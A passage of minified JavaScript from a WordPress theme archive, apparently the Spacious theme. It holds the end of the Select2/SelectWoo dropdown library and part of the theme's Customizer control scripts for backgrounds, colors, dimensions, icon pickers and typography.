Select2.'),e.data("data",e.data("select2Tags")),e.data("tags",!0)),e.data("ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",e.data("ajaxUrl")),e.data("ajax--url",e.data("ajaxUrl")));var n,o={},o=s.fn.jquery&&"1."==s.fn.jquery.substr(0,2)&&e[0].dataset?s.extend(!0,{},e[0].dataset,e.data()):e.data(),i=s.extend(!0,{},o);for(n in i=r._convertData(i))-1<s.inArray(n,t)||(s.isPlainObject(this.options[n])?s.extend(this.options[n],i[n]):this.options[n]=i[n]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),u.define("select2/core",["jquery","./options","./utils","./keys"],function(i,s,n,r){var a=function(e,t){null!=e.data("select2")&&e.data("select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new s(t,e),a.__super__.constructor.call(this);var n=e.attr("tabindex")||0;e.data("old-tabindex",n),e.attr("tabindex","-1");t=this.options.get("dataAdapter");this.dataAdapter=new t(e,this.options);n=this.render();this._placeContainer(n);t=this.options.get("selectionAdapter");this.selection=new t(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,n);t=this.options.get("dropdownAdapter");this.dropdown=new t(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,n);n=this.options.get("resultsAdapter");this.results=new n(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var o=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){o.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),e.data("select2",this)};return n.Extend(a,n.Observable),a.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+n.generateChars(2):n.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},a.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},a.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var o=this._resolveWidth(e,"style");return null!=o?o:this._resolveWidth(e,"element")}if("element"==t){o=e.outerWidth(!1);return o<=0?"auto":o+"px"}if("style"!=t)return t;e=e.attr("style");if("string"!=typeof e)return null;for(var i=e.split(";"),s=0,r=i.length;s<r;s+=1){var a=i[s].replace(/\s/g,"").match(n);if(null!==a&&1<=a.length)return a[1]}return null},a.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},a.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=n.bind(this._syncAttributes,this),this._syncS=n.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){i.each(e,t._syncA),i.each(e,t._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},a.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerSelectionEvents=function(){var n=this,o=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===i.inArray(e,o)&&n.trigger(e,t)})},a.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerEvents=function(){var o=this;this.on("open",function(){o.$container.addClass("select2-container--open")}),this.on("close",function(){o.$container.removeClass("select2-container--open")}),this.on("enable",function(){o.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){o.$container.addClass("select2-container--disabled")}),this.on("blur",function(){o.$container.removeClass("select2-container--focus")}),this.on("query",function(t){o.isOpen()||o.trigger("open",{}),this.dataAdapter.query(t,function(e){o.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){o.trigger("results:append",{data:e,query:t})})}),this.on("open",function(){setTimeout(function(){o.focusOnActiveElement()},1)}),i(document).on("keydown",function(e){var t,n=e.which;o.isOpen()?(n===r.ESC||n===r.UP&&e.altKey?(o.close(),e.preventDefault()):n===r.ENTER||n===r.TAB?(o.trigger("results:select",{}),e.preventDefault()):n===r.SPACE&&e.ctrlKey?(o.trigger("results:toggle",{}),e.preventDefault()):n===r.UP?(o.trigger("results:previous",{}),e.preventDefault()):n===r.DOWN&&(o.trigger("results:next",{}),e.preventDefault()),(t=o.$dropdown.find(".select2-search__field")).length||(t=o.$container.find(".select2-search__field")),n===r.DOWN||n===r.UP?o.focusOnActiveElement():(t.focus(),setTimeout(function(){o.focusOnActiveElement()},1e3))):o.hasFocus()&&(n!==r.ENTER&&n!==r.SPACE&&n!==r.DOWN||(o.open(),e.preventDefault()))})},a.prototype.focusOnActiveElement=function(){this.isOpen()&&!n.isTouchscreen()&&this.$results.find("li.select2-results__option--highlighted").focus()},a.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},a.prototype._syncSubtree=function(e,t){var n=!1,o=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var i=0;i<t.addedNodes.length;i++){t.addedNodes[i].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length&&(n=!0);else n=!0;n&&this.dataAdapter.current(function(e){o.trigger("selection:update",{data:e})})}},a.prototype.trigger=function(e,t){var n=a.__super__.trigger,o={open:"opening",close:"closing",select:"selecting",unselect:"unselecting"};if(void 0===t&&(t={}),e in o){var i=o[e],o={prevented:!1,name:e,args:t};if(n.call(this,i,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},a.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},a.prototype.open=function(){this.isOpen()||this.trigger("query",{})},a.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},a.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},a.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},a.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},a.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);e=!e[0];this.$element.prop("disabled",e)},a.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},a.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();e=e[0];i.isArray(e)&&(e=i.map(e,function(e){return e.toString()})),this.$element.val(e).trigger("change")},a.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",this.$element.data("old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},a.prototype.render=function(){var e=i('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),e.data("element",this.$element),e},a}),u.define("jquery-mousewheel",["jquery"],function(e){return e}),u.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults"],function(i,e,s,t){var r;return null==i.fn.selectWoo&&(r=["open","close","destroy"],i.fn.selectWoo=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=i.extend(!0,{},t);new s(i(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,o=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=i(this).data("select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,o)}),-1<i.inArray(t,r)?this:n}),null!=i.fn.select2&&null!=i.fn.select2.defaults&&(i.fn.selectWoo.defaults=i.fn.select2.defaults),null==i.fn.selectWoo.defaults&&(i.fn.selectWoo.defaults=t),i.fn.select2=i.fn.select2||i.fn.selectWoo,s}),{define:u.define,require:u.require});function w(e,t){return i.call(e,t)}function l(e,t){var n,o,i,s,r,a,l,c,u,d,p=t&&t.split("/"),h=y.map,f=h&&h["*"]||{};if(e){for(t=(e=e.split("/")).length-1,y.nodeIdCompat&&_.test(e[t])&&(e[t]=e[t].replace(_,"")),"."===e[0].charAt(0)&&p&&(e=p.slice(0,p.length-1).concat(e)),c=0;c<e.length;c++)"."===(d=e[c])?(e.splice(c,1),--c):".."===d&&(0===c||1===c&&".."===e[2]||".."===e[c-1]||0<c&&(e.splice(c-1,2),c-=2));e=e.join("/")}if((p||f)&&h){for(c=(n=e.split("/")).length;0<c;--c){if(o=n.slice(0,c).join("/"),p)for(u=p.length;0<u;--u)if(i=(i=h[p.slice(0,u).join("/")])&&i[o]){s=i,r=c;break}if(s)break;!a&&f&&f[o]&&(a=f[o],l=c)}!s&&a&&(s=a,r=l),s&&(n.splice(0,r,s),e=n.join("/"))}return e}function b(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),r.apply(p,e.concat([t,n]))}}function A(e){var t;if(w(m,e)&&(t=m[e],delete m[e],v[e]=!0,s.apply(p,t)),!w(g,e)&&!w(v,e))throw new Error("No "+e);return g[e]}function c(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function x(e){return e?c(e):[]}var u=o.require("jquery.select2");return t.fn.select2.amd=o,t.fn.selectWoo.amd=o,u});core/custom-controls/assets/js/customize-controls.min.js000066600000070046152367043330017611 0ustar00!function(t){t(window).on("load",function(){t("html").addClass("colorpicker-ready")}),wp.customize.controlConstructor["spacious-background"]=wp.customize.Control.extend({ready:function(){"use strict";this.initSpaciousBackgroundControl()},initSpaciousBackgroundControl:function(){var i=this,t=i.setting._value,e=i.container.find(".spacious-color-picker-alpha");!_.isUndefined(t["background-image"])&&""!==t["background-image"]||(i.container.find(".customize-control-content > .background-repeat").hide(),i.container.find(".customize-control-content > .background-position").hide(),i.container.find(".customize-control-content > .background-size").hide(),i.container.find(".customize-control-content > .background-attachment").hide()),e.wpColorPicker({change:function(){jQuery("html").hasClass("colorpicker-ready")&&setTimeout(function(){i.saveValue("background-color",e.val())},100)},clear:function(t){jQuery(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0]&&i.saveValue("background-color","")}}),i.container.on("click",".background-image-upload-button, .thumbnail-image img",function(t){var o=wp.media({multiple:!1}).open().on("select",function(){var t,e=o.state().get("selection").first(),n=e.toJSON().sizes.full.url;_.isUndefined(e.toJSON().sizes.medium)?_.isUndefined(e.toJSON().sizes.thumbnail)||(n=e.toJSON().sizes.thumbnail.url):n=e.toJSON().sizes.medium.url,t=e.toJSON().sizes.full.url,e.toJSON().id,e.toJSON().width,e.toJSON().height,""!==t&&i.container.find(".customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment").show(),i.saveValue("background-image",t),e=i.container.find(".placeholder, .thumbnail"),t=i.container.find(".background-image-upload-remove-button"),e.length&&e.removeClass().addClass("thumbnail thumbnail-image").html('<img src="'+n+'" alt="" />'),t.length&&t.show()});t.preventDefault()}),i.container.on("click",".background-image-upload-remove-button",function(t){var e;t.preventDefault(),i.saveValue("background-image",""),e=i.container.find(".placeholder, .thumbnail"),t=i.container.find(".background-image-upload-remove-button"),i.container.find(".customize-control-content > .background-repeat").hide(),i.container.find(".customize-control-content > .background-position").hide(),i.container.find(".customize-control-content > .background-size").hide(),i.container.find(".customize-control-content > .background-attachment").hide(),e.length&&e.removeClass().addClass("placeholder").html(SpaciousCustomizerControlBackground.placeholder),t.length&&t.hide()}),i.container.on("change",".background-repeat select",function(){i.saveValue("background-repeat",jQuery(this).val())}),i.container.on("change",".background-position select",function(){i.saveValue("background-position",jQuery(this).val())}),i.container.on("change",".background-size select",function(){i.saveValue("background-size",jQuery(this).val())}),i.container.on("change",".background-attachment select",function(){i.saveValue("background-attachment",jQuery(this).val())})},saveValue:function(t,e){var n=this,o=jQuery("#customize-control-"+n.id.replace("[","-").replace("]","")+" .background-hidden-value"),i=n.setting._value;i[t]=e,jQuery(o).attr("value",JSON.stringify(i)).trigger("change"),n.setting.set(i)}})}(jQuery),wp.customize.controlConstructor["spacious-buttonset"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}}),function(t){t(window).on("load",function(){t("html").addClass("colorpicker-ready")}),wp.customize.controlConstructor["spacious-color"]=wp.customize.Control.extend({ready:function(){"use strict";var n=this;this.container.find(".spacious-color-picker-alpha").wpColorPicker({change:function(t,e){e=e.color.toString();jQuery("html").hasClass("colorpicker-ready")&&n.setting.set(e)}})}})}(jQuery),wp.customize.controlConstructor["spacious-dimensions"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.container.on("change keyup paste input",".top input",function(){t.updateTop()}),t.container.on("change keyup paste input",".right input",function(){t.updateRight()}),t.container.on("change keyup paste input",".left input",function(){t.updateLeft()}),t.container.on("change keyup paste input",".bottom input",function(){t.updateBottom()})},updateTop:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={top:{}};t.container.find(".top .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.top=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateRight:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={right:{}};t.container.find(".right .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.right=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateBottom:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={bottom:{}};t.container.find(".bottom .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.bottom=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateLeft:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={left:{}};t.container.find(".left .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.left=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)}}),wp.customize.controlConstructor["spacious-dropdown-categories"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("change","select",function(){t.setting.set(jQuery(this).val())})}}),wp.customize.controlConstructor["spacious-editor"]=wp.customize.Control.extend({ready:function(){"use strict";var t="editor_"+this.id;wp.editor.initialize(t,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0})},onChangeActive:function(t,e){"use strict";var n=this,o="editor_"+n.id,i=n.container.find("textarea"),a=tinyMCE.get(o);a&&a.onChange.add(function(t){t.save(),t=a.getContent(),i.val(t).trigger("change"),wp.customize.instance(n.id).set(t)})}}),function(r){wp.customize.controlConstructor["spacious-fontawesome"]=wp.customize.Control.extend({ready:function(){"use strict";this.initSpaciousFontawesomeControl()},initSpaciousFontawesomeControl:function(){var t=this,e=t.selector,n=r(e).find("select"),o=[],i=t.setting._value,e=window["SpaciousCustomizerControlFontawesome"+this.id],a=0;r.each(e,function(t,e){o[a]={id:e,text:e},a++}),(e=n.selectWoo({data:o,width:"100%",templateResult:function(t){return t.id?r('<span><i class="fa fa-lg '+t.text+'"></i> '+t.text+"</span>"):t.text}})).val(i).trigger("change"),e.on("change",function(){t.setting.set(n.val())})}})}(jQuery),function(u){wp.customize.controlConstructor["spacious-group"]=wp.customize.Control.extend({ready:function(){"use strict";this.registerToggleEvents(),this.container.on("spacious_settings_changed",this.onOptionChange)},registerToggleEvents:function(){var a=this;u(".wp-full-overlay-sidebar-content").click(function(t){u(t.target).closest(".spacious-field-settings-modal").length||u(".spacious-group-toggle-icon.open").trigger("click")}),a.container.on("click",".spacious-group-wrap .spacious-group-toggle-icon",function(t){t.preventDefault(),t.stopPropagation();var e=u(this),n=e.closest(".customize-control-spacious-group"),o=n.find(".spacious-field-settings-modal").data("loaded"),i=n.parents(".control-section");e.hasClass("open")?n.find(".spacious-field-settings-modal").hide():(0<(t=i.find(".spacious-group-toggle-icon.open")).length&&t.trigger("click"),o?n.find(".spacious-field-settings-modal").show():(i=a.params.spacious_fields,t=u(SpaciousCustomizerControlGroup.group_modal_tmpl),o=u("#customize-footer-actions .active").attr("data-device"),n.find(".spacious-field-settings-wrap").append(t),n.find(".spacious-fields-wrap").attr("data-control",a.params.name),a.spacious_render_field(n,i,a),n.find(".spacious-field-settings-modal").show(),"mobile"===o?(u(".control-wrap.mobile").addClass("active"),u(".responsive-switchers .preview-mobile").addClass("active"),u(".control-wrap.tablet, .control-wrap.desktop").removeClass("active"),u(".responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop").removeClass("active")):"tablet"===o?(u(".control-wrap.tablet").addClass("active"),u(".responsive-switchers .preview-tablet").addClass("active"),u(".control-wrap.mobile, .control-wrap.desktop").removeClass("active"),u(".responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop").removeClass("active")):(u(".control-wrap.desktop").addClass("active"),u(".responsive-switchers .preview-desktop").addClass("active"),u(".control-wrap.mobile, .control-wrap.tablet").removeClass("active"),u(".responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet").removeClass("active")))),e.toggleClass("open")}),a.container.on("click",".spacious-group-wrap > .customizer-text",function(t){t.preventDefault(),t.stopPropagation(),u(this).find(".spacious-group-toggle-icon").trigger("click")})},spacious_render_field:function(t,e,n){var o,i=this,a=t.find(".spacious-fields-wrap"),r="",c=[],s=i.isJSONString(n.params.value)?JSON.parse(n.params.value):{};void 0!==e.tabs?(o=0,r+='<div id="'+n.params.name+'-tabs" class="spacious-group-tabs">',r+='<ul class="spacious-group-list">',_.each(e.tabs,function(t,e){r+='<li class="'+(0===o?"active":"")+'"><a href="#tab-'+e.replace(" ","-")+'"><span>'+e+"</span></a></li>",o++}),r+="</ul>",r+='<div class="spacious-tab-content" >',_.each(e.tabs,function(t,e){t=i.generateFieldHtml(t,s);r+='<div id="tab-'+e.replace(" ","-")+'" class="tab">',r+=t.html,_.each(t.controls,function(t,e){c.push({key:t.key,value:t.value,name:t.name})}),r+="</div>"}),r+="</div>",r+="</div>",a.html(r),u("#"+n.params.name+"-tabs").tabs()):(e=i.generateFieldHtml(e,s),r+=e.html,_.each(e.controls,function(t,e){c.push({key:t.key,value:t.value,name:t.name})}),a.html(r)),_.each(c,function(t,e){switch(t.key){case"spacious-color":i.initColorControl(a,n,t.name);break;case"spacious-background":i.initBackgroundControl(n,t,t.name);break;case"spacious-typography":i.initTypographyControl(n,t,t.name)}}),t.find(".spacious-field-settings-modal").data("loaded",!0)},isJSONString:function(t){try{JSON.parse(t)}catch(t){return!1}return!0},generateFieldHtml:function(t,e){var c="",s=[];_.each(t,function(t,e){var n=wp.customize.control(t.name)?wp.customize.control(t.name).params.value:"",o=t.control,i="customize-control-"+o+"-content",i=wp.template(i),n=n||t.default,a="",r="";t.value=n,t.title=t.label,_.each(t.data_attrs,function(t,e){a+=" data-"+e+' ="'+t+'"'}),_.each(t.input_attrs,function(t,e){r+=e+' ="'+t+'"'}),t.dataAttrs=a,t.inputAttrs=r,s.push({key:o,value:n,name:t.name});o="",n=["spacious-typography"];"spacious-typography"===t.control&&n.includes(t.control)&&(t.languages=SpaciousCustomizerControlTypographySubsets),n.includes(t.control)&&(o="has-responsive-switchers"),c+='<li id="customize-control-'+t.name+'" class="customize-control '+o+" customize-control-"+t.control+'" >',c+=i(t),c+="</li>"});t=new Object;return t.controls=s,t.html=c,t},onOptionChange:function(t,e,n,o,i){u(".hidden-field-"+i).val(o),wp.customize.control(i).setting.set(o)},initColorControl:function(t,e,n){var o=this;t.find(".customize-control-spacious-color .spacious-color-picker-alpha").wpColorPicker({change:function(t,e){void 0===t.originalEvent&&void 0===e.color._alpha||(t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0],n=(n=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),u(t).val(e.color.toString()),o.container.trigger("spacious_settings_changed",[o,u(t),e.color.toString(),n]))},clear:function(t){t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0];n=(n=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),u(t).val(""),o.container.trigger("spacious_settings_changed",[o,u(t),"",n]),wp.customize.previewer.refresh()}})},initBackgroundControl:function(a,t,r){var e=u("#customize-control-"+a.id.replace("[","-").replace("]","")+" .background-hidden-value"),e=JSON.parse(e.val()),t=t.name,n=a.container.find(".spacious-color-picker-alpha"),c=a.container.find("#customize-control-"+t);!_.isUndefined(e["background-image"])&&""!==e["background-image"]||(c.find(".customize-control-content > .background-repeat").hide(),c.find(".customize-control-content > .background-position").hide(),c.find(".customize-control-content > .background-size").hide(),c.find(".customize-control-content > .background-attachment").hide()),n.wpColorPicker({change:function(){var t;u("html").hasClass("colorpicker-ready")&&(t=u(this),setTimeout(function(){a.saveBackgroundValue("background-color",n.val(),t,r)},100))},clear:function(t){t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0];t&&a.saveBackgroundValue("background-color","",u(t),r),wp.customize.previewer.refresh()}}),c.on("click",".background-image-upload-button, .thumbnail-image img",function(t){var o=u(this),i=wp.media({multiple:!1}).open().on("select",function(){var t,e=i.state().get("selection").first(),n=e.toJSON().sizes.full.url;_.isUndefined(e.toJSON().sizes.medium)?_.isUndefined(e.toJSON().sizes.thumbnail)||(n=e.toJSON().sizes.thumbnail.url):n=e.toJSON().sizes.medium.url,t=e.toJSON().sizes.full.url,e.toJSON().id,e.toJSON().width,e.toJSON().height,""!==t&&c.find(".customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment").show(),a.saveBackgroundValue("background-image",t,o,r),e=c.find(".placeholder, .thumbnail"),t=c.find(".background-image-upload-remove-button"),e.length&&e.removeClass().addClass("thumbnail thumbnail-image").html('<img src="'+n+'" alt="" />'),t.length&&t.show()});t.preventDefault()}),c.on("click",".background-image-upload-remove-button",function(t){var e;t.preventDefault(),a.saveBackgroundValue("background-image","",u(this)),e=c.find(".placeholder, .thumbnail"),t=c.find(".background-image-upload-remove-button"),c.find(".customize-control-content > .background-repeat").hide(),c.find(".customize-control-content > .background-position").hide(),c.find(".customize-control-content > .background-size").hide(),c.find(".customize-control-content > .background-attachment").hide(),e.length&&e.removeClass().addClass("placeholder").html(SpaciousCustomizerControlBackground.placeholder),t.length&&t.hide()}),c.on("change",".background-repeat select",function(){a.saveBackgroundValue("background-repeat",u(this).val(),u(this),r)}),c.on("change",".background-position select",function(){a.saveBackgroundValue("background-position",u(this).val(),u(this),r)}),c.on("change",".background-size select",function(){a.saveBackgroundValue("background-size",u(this).val(),u(this),r)}),c.on("change",".background-attachment select",function(){a.saveBackgroundValue("background-attachment",u(this).val(),u(this),r)})},saveBackgroundValue:function(t,e,n,o){var i=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .background-hidden-value"),a=JSON.parse(i.val());a[t]=e,u(i).attr("value",JSON.stringify(a)).trigger("change"),o=(o=u(n).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,n,a,o])},initTypographyControl:function(t,e,n){t.setting._value;var o=e.name,o=t.container.find("#customize-control-"+o);t.renderTypographyFontSelector(u(this),n,e),t.renderTypographyVariantSelector(u(this),n,e),t.renderTypographySubsetSelector(u(this),n,e),o.on("change",".font-style select",function(){t.saveTypographyValue("font-style",u(this).val(),u(this),n)}),o.on("change",".text-transform select",function(){t.saveTypographyValue("text-transform",u(this).val(),u(this),n)}),o.on("change",".text-decoration select",function(){t.saveTypographyValue("text-decoration",u(this).val(),u(this),n)}),o.on("change keyup paste input",".font-size input",function(){t.saveTypographyFontSize(u(this),n,e)}),o.on("change keyup paste input",".line-height input",function(){t.saveTypographyLineHeight(u(this),n,e)}),o.on("change keyup paste input",".letter-spacing input",function(){t.saveTypographyLetterSpacing(u(this),n,e)})},renderTypographyFontSelector:function(t,e,n){var o=this,i=o.selector+" .font-family select",a=[],r=[],c=[],s=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),l=JSON.parse(s.val()),s=o.getTypographyFonts();_.isUndefined(s.standard)||_.each(s.standard,function(t){a.push({id:t.family.replace(/"/g,"'"),text:t.label})}),_.isUndefined(s.google)||_.each(s.google,function(t){r.push({id:t.family,text:t.label})}),data=[{text:s.standardfontslabel,children:a},{text:s.googlefontslabel,children:r}],_.isUndefined(s.custom)||(_.each(s.custom,function(t){c.push({id:t.family,text:t.label})}),data.push({text:s.customfontslabel,children:c})),i=u(i).selectWoo({data:data,width:"100%"}),l["font-family"]&&i.val(l["font-family"].replace(/'/g,'"')).trigger("change"),i.on("change",function(){o.saveTypographyValue("font-family",u(this).val(),u(this),e),o.renderTypographyVariantSelector(u(this),e,n),o.renderTypographySubsetSelector(u(this),e,n)})},getTypographyFonts:function(){return _.isUndefined(SpaciousCustomizerControlTypography)?{google:[],standard:[]}:SpaciousCustomizerControlTypography},renderTypographyVariantSelector:function(t,e,n){var o=this,i=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val()),r=a["font-family"],i=o.getTypographyVariants(r),r=o.selector+" .font-weight select",c=[],s=!1;!1!==i?(u(o.selector+" .font-weight").show(),_.each(i,function(t){a["font-weight"]===t.id&&(s=!0),c.push({id:t.id,text:t.label})}),s||(a["font-weight"]="regular"),u(r).hasClass("select2-hidden-accessible")&&(u(r).selectWoo("destroy"),u(r).empty()),(r=u(r).selectWoo({data:c,width:"100%"})).val(a["font-weight"]).trigger("change"),r.on("change",function(){o.saveTypographyValue("font-weight",u(this).val(),u(this),e)})):u(o.selector+" .font-weight").hide()},getTypographyVariants:function(e){var t=this.getTypographyFonts(),n=!1;return _.each(t.standard,function(t){if(e&&t.family===e.replace(/'/g,'"'))return n=t.variants}),_.each(t.google,function(t){if(t.family===e)return n=t.variants}),_.isUndefined(t.custom)||_.each(t.custom,function(t){if(t.custom===e)return n=t.variants}),n},renderTypographySubsetSelector:function(t,e,n){var o=this,i=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val()),r=a["font-family"],i=o.getTypographySubsets(r),r=o.selector+" .subsets select",c=[],s=a.subsets;!1!==i?(u(o.selector+" .subsets").show(),_.each(i,function(e){_.isObject(s)&&-1===s.indexOf(e.id)&&(s=_.reject(s,function(t){return t===e.id})),c.push({id:e.id,text:e.label})})):u(o.selector+" .subsets").hide(),u(r).hasClass("select2-hidden-accessible")&&(u(r).selectWoo("destroy"),u(r).empty()),(r=u(r).selectWoo({data:c,width:"100%"})).val(s).trigger("change"),r.on("change",function(){o.saveTypographyValue("subsets",u(this).val(),u(this),e)})},getTypographySubsets:function(e){var n=!1,t=this.getTypographyFonts();return _.each(t.google,function(t){if(t.family===e)return n=t.subsets}),n},saveTypographyFontSize:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"font-size":{}};n.find(".font-size .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["font-size"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyLineHeight:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" 